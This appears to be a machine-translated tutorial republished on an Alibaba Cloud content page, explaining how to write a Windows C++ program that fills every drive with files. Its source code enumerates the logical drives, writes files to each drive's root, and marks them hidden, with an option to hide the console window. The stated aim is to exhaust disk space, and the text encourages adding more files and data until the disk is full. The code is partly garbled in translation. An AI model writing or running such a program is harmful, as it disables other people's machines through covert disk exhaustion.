Easy-to-write programs that can be stuffed with hard drives

Source: Internet
Author: User
About writing a program that can fill a hard drive

Let's think about the idea:

First step: Get the logical drive letter

Step Two: Create a file

Step three: File write data

Extension requirements:

One: Hide window

Two: File set as hidden property


Below we introduce an API to the above ideas, give the source code after the acceptance


getlogicaldrivestrings function

Fills a buffer with strings this specify valid drives in the system.

DWORD WINAPI getlogicaldrivestrings (    _in_  DWORD  nbufferlength,    _out_ LPTSTR lpbuffer  );

This function reads the disk that is available inside the system into the lpbuffer.

Success returns the total length of the fetch,

There are two cases of failure one is buffer is not long enough, one is another problem


About the other API functions, are relatively simple, some can be named from the meaning of the function, not in the introduction, the source code also has comments,

See the source code below

#include <Windows.h> int main () {//freeconsole ();        Hide Console char Strdrivestrings[maxbyte] = {0};        Get the logical address DWORD Dwdrivestrlen = Getlogicaldrivestringsa (Maxbyte, strdrivestrings); for (size_t i = 0; i < dwdrivestrlen; i + = 4)//Every 4 bytes represents a drive letter {char Strtargetpath[max_path          ] = {0}, Strroot[4] = {0};          strncpy_s (Strroot,&strdrivestrings[i], 4);            strcpy_s (Strtargetpath, strroot);              Create 100 files for (int j = 0; J < + j + +) {char Tempstrtargetpath[max_path];              strcpy_s (Tempstrtargetpath, Strtargetpath);              Char Filename[maxbyte];              Char Date[maxbyte] = "11111";              wsprintf (FileName, "%d.txt", j);                strcat_s (Tempstrtargetpath, FileName);              Create file HANDLE hfile; hfile = Createfilea (Tempstrtargetpath, generic_write, 0, NULL, create_always, file_attribute_normal, NULL);              if (hfile = = INVALID_HANDLE_VALUE) continue;                DWORD Pointer;              Write Data WriteFile (hfile, &date, strlen (Date), &pointer, NULL);                CloseHandle (hfile);                Sets the contents of the first n bytes of a piece of memory pointed by S to all to the ASCII value specified by ch memset (filename, 0, sizeof (filename));          Set to Hidden Setfileattributesa (Tempstrtargetpath, File_attribute_hidden);  }} return 0; }

Set the file browsing properties:

The results of the operation are as follows:

If the following issues occur:

Modify the character set as follows:

So just a few more files, more data, the hard disk will be stuffed

The above is the easy to write the C + + program to fill the contents of the hard disk, more relevant content please pay attention to topic.alibabacloud.com (www.php.cn)!
  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.